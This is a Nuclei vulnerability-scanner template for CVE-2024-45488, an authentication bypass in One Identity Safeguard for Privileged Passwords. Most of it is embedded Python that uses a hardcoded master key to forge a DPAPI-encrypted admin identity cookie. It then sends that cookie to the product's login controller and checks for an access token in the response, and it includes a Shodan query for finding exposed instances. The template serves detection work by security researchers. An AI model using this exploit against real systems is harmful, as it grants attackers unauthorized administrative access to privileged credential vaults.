id: CVE-2024-45488 info: name: SafeGuard for Privileged Passwords < 7.5.2 - Authentication Bypass author: iamnoooob,rootxharsh,pdresearch severity: critical description: | One Identity Safeguard for Privileged Passwords before 7.5.2 allows unauthorized access because of an issue related to cookies. This only affects virtual appliance installations (VMware or HyperV). The fixed versions are 7.0.5.1 LTS, 7.4.2, and 7.5.2. reference: - https://blog.amberwolf.com/blog/2024/september/cve-2024-45488-one-identity-safeguard-for-privileged-passwords-authentication-bypass/ - https://blog.amberwolf.com/blog/2024/september/skeleton-cookie-breaking-into-safeguard-with-cve-2024-45488/ - https://gist.github.com/rxwx/c968b3324e74058208fe6e168fd8730f - https://support.oneidentity.com/kb/4376740/safeguard-for-privileged-passwords-security-vulnerability-notification-defect-460620 - https://support.oneidentity.com/product-notification/noti-00001628 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2024-45488 epss-score: 0.00043 epss-percentile: 0.09691 metadata: verified: true max-request: 1 shodan-query: html:"Safeguard for Privileged Passwords" tags: cve,cve2024,auth-bypass,safeguard code: - engine: - py - python3 # requires python to be pre-installed on system running nuclei source: | # pip install pycryptodome from datetime import datetime, timedelta from Crypto.Cipher import AES, DES3 from Crypto.Hash import HMAC, SHA1, SHA512, SHA256 from Crypto.Util.Padding import pad from io import BytesIO import argparse import string import base64 import uuid import os class DPAPIBlob: CALG_3DES = 0x6603 CALG_AES_256 = 0x6610 CALG_SHA1 = 0x8004 CALG_SHA_256 = 0x800c CALG_SHA_512 = 0x800e def combine_bytes(self, *arrays): return b''.join(arrays) def hmac_sha512(self, key, data): hmac = HMAC.new(key, digestmod=SHA512) hmac.update(data) return hmac.digest() def derive_key_raw(self, hash_bytes, alg_hash): ipad = bytearray([0x36] * 64) opad = bytearray([0x5C] * 64) for i in range(len(hash_bytes)): ipad[i] ^= hash_bytes[i] opad[i] ^= hash_bytes[i] if alg_hash == self.CALG_SHA1: sha1 = SHA1.new() ipad_sha1bytes = sha1.new(ipad).digest() opad_sha1bytes = sha1.new(opad).digest() return self.combine_bytes(ipad_sha1bytes, opad_sha1bytes) else: raise Exception(f"Unsupported alg_hash: {alg_hash}") def derive_key2(self, key, nonce, hash_algorithm, blob, entropy=None): """ Derive a key using the provided key, nonce, hash algorithm, blob, and optional entropy. :param key: The base key material. :param nonce: The nonce (salt) value. :param hash_algorithm: The hash algorithm identifier (SHA1, SHA256, SHA512). :param blob: The additional data to include in the key derivation. :param entropy: Optional entropy to include in the key derivation. :return: The derived key as a byte array. """ if hash_algorithm == self.CALG_SHA1: hmac = HMAC.new(key, digestmod=SHA1) elif hash_algorithm == self.CALG_SHA_256: hmac = HMAC.new(key, digestmod=SHA256) elif hash_algorithm == self.CALG_SHA_512: hmac = HMAC.new(key, digestmod=SHA512) else: raise Exception(f"Unsupported hash algorithm: {hash_algorithm}") key_material = bytearray() key_material.extend(nonce) if entropy is not None: key_material.extend(entropy) key_material.extend(blob) hmac.update(key_material) return hmac.digest() def derive_key(self, key_bytes, salt_bytes, alg_hash, entropy=None): if alg_hash == self.CALG_SHA_512: if entropy is not None: return self.hmac_sha512(key_bytes, self.combine_bytes(salt_bytes, entropy)) else: return self.hmac_sha512(key_bytes, salt_bytes) elif alg_hash == self.CALG_SHA1: ipad = bytearray([0x36] * 64) opad = bytearray([0x5C] * 64) for i in range(len(key_bytes)): ipad[i] ^= key_bytes[i] opad[i] ^= key_bytes[i] buffer_i = self.combine_bytes(ipad, salt_bytes) sha1 = SHA1.new() sha1.update(buffer_i) sha1_buffer_i = sha1.digest() buffer_o = self.combine_bytes(opad, sha1_buffer_i) if entropy is not None: buffer_o = self.combine_bytes(buffer_o, entropy) sha1.update(buffer_o) sha1_buffer_o = sha1.digest() return self.derive_key_raw(sha1_buffer_o, alg_hash) else: raise Exception("Unsupported Hash Algorithm") def encrypt(self, plaintext, key, algCrypt): if algCrypt == self.CALG_3DES: iv = b'\x00' * 8 cipher = DES3.new(key, DES3.MODE_CBC, iv) elif algCrypt == self.CALG_AES_256: iv = b'\x00' * 16 cipher = AES.new(key, AES.MODE_CBC, iv) else: raise Exception(f"Unsupported encryption algorithm: {algCrypt}") padded_data = pad(plaintext, cipher.block_size) return cipher.encrypt(padded_data) def create_blob(self, plaintext, masterKey, algCrypt, algHash, masterKeyGuid, flags=0, entropy=None, description=""): descBytes = description.encode('utf-16le') if description else b'\x00\x00' saltBytes = os.urandom(32) hmac2KeyLen = 32 if algCrypt == self.CALG_3DES: algCryptLen = 192 elif algCrypt == self.CALG_AES_256: algCryptLen = 256 else: raise Exception(f"Unsupported encryption algorithm: {algCrypt}") if algHash == self.CALG_SHA1: signLen = 20 elif algHash == self.CALG_SHA_256: signLen = 32 elif algHash == self.CALG_SHA_512: signLen = 64 else: raise Exception(f"Unsupported hash algorithm: {algHash}") # Derive key derivedKeyBytes = self.derive_key(masterKey, saltBytes, algHash, entropy) finalKeyBytes = derivedKeyBytes[:algCryptLen // 8] # Encrypt data encData = self.encrypt(plaintext, finalKeyBytes, algCrypt) # Construct the BLOB using BytesIO blob = BytesIO() # Version blob.write((1).to_bytes(4, 'little')) # Provider GUID providerGuid = uuid.UUID("df9d8cd0-1501-11d1-8c7a-00c04fc297eb").bytes_le blob.write(providerGuid) # MasterKey version blob.write((1).to_bytes(4, 'little')) # MasterKey GUID blob.write(masterKeyGuid.bytes_le) # Flags blob.write((flags).to_bytes(4, 'little')) # Description length blob.write(len(descBytes).to_bytes(4, 'little')) # Description blob.write(descBytes) # Algorithm ID blob.write(algCrypt.to_bytes(4, 'little')) # Algorithm key length blob.write(algCryptLen.to_bytes(4, 'little')) # Salt length blob.write(len(saltBytes).to_bytes(4, 'little')) # Salt blob.write(saltBytes) # HMAC key length (always 0) blob.write((0).to_bytes(4, 'little')) # Hash algorithm ID blob.write(algHash.to_bytes(4, 'little')) # Hash length blob.write((len(derivedKeyBytes) * 8).to_bytes(4, 'little')) # HMAC2 key length blob.write(hmac2KeyLen.to_bytes(4, 'little')) # HMAC2 key hmac2Key = os.urandom(hmac2KeyLen) blob.write(hmac2Key) # Data length blob.write(len(encData).to_bytes(4, 'little')) # Encrypted Data blob.write(encData) # Create the HMAC (sign) over the entire blob except for the sign field signBlob = blob.getvalue()[20:] # Skip the first 20 bytes for the HMAC calculation sign = self.derive_key2(masterKey, hmac2Key, algHash, signBlob, entropy) # Sign length blob.write(signLen.to_bytes(4, 'little')) # Sign blob.write(sign) return blob.getvalue() def main(): args = { 'master_key': '48F4153A8C26C2B026562685B67C30EFF119D735', 'master_key_guid': '98dc3c79-9aa5-4efc-927f-ccec24eaa14e', 'local': 1, 'base64': 1 } current_time = datetime.utcnow().strftime("%Y%m%dT%H%M%SZ") future_time = (datetime.utcnow() + timedelta(days=1)).strftime("%Y%m%dT%H%M%SZ") plaintext= f"local,admin,Primary,Password,{current_time},{future_time}" plaintext=plaintext.encode('utf-8') if not all(c in string.hexdigits for c in args['master_key']): print (f' Provided master key is not valid: {args.master_key}') return try: uuid.UUID(args["master_key_guid"]) except ValueError: print (f' Provided master key GUID is not valid: {args["master_key_guid"]}') return # Parse the master key and GUID masterKey = bytes.fromhex(args['master_key']) masterKeyGuid = uuid.UUID(args["master_key_guid"]) algCrypt = DPAPIBlob.CALG_AES_256 algHash = DPAPIBlob.CALG_SHA_512 flags = 0 if args['local']: flags |= 4 # CRYPTPROTECT_LOCAL_MACHINE dpapi = DPAPIBlob() encrypted_blob = dpapi.create_blob(plaintext, masterKey, algCrypt, algHash, masterKeyGuid, flags) if args['base64']: output_data = base64.b64encode(encrypted_blob).decode('utf-8') else: output_data = encrypted_blob.hex(' ') print(f"{output_data}") if __name__ == "__main__": main() http: - method: GET path: - "{{BaseURL}}/RSTS/UserLogin/LoginController?response_type=token&redirect_uri=https%3A%2F%2Flocalhost&loginRequestStep=6&csrfTokenTextbox=aaa" headers: Cookie: "CsrfToken=aaa; stsIdentity0={{code_response}}" matchers-condition: and matchers: - type: word part: body words: - "access_token=" - "RelyingPartyUrl" condition: and - type: word part: content_type words: - 'application/json' - type: status status: - 200 # digest: 4b0a00483046022100c1e04d6c3c9b3781cddc3a25c1575a5ba79913fcb113b949659cbe6f87802da4022100ffc7b910822ab03f153975956bc9be2f175452f64a182962f4c3f93e1b7f68c8:922c64590222798bb761d5b6d8e72950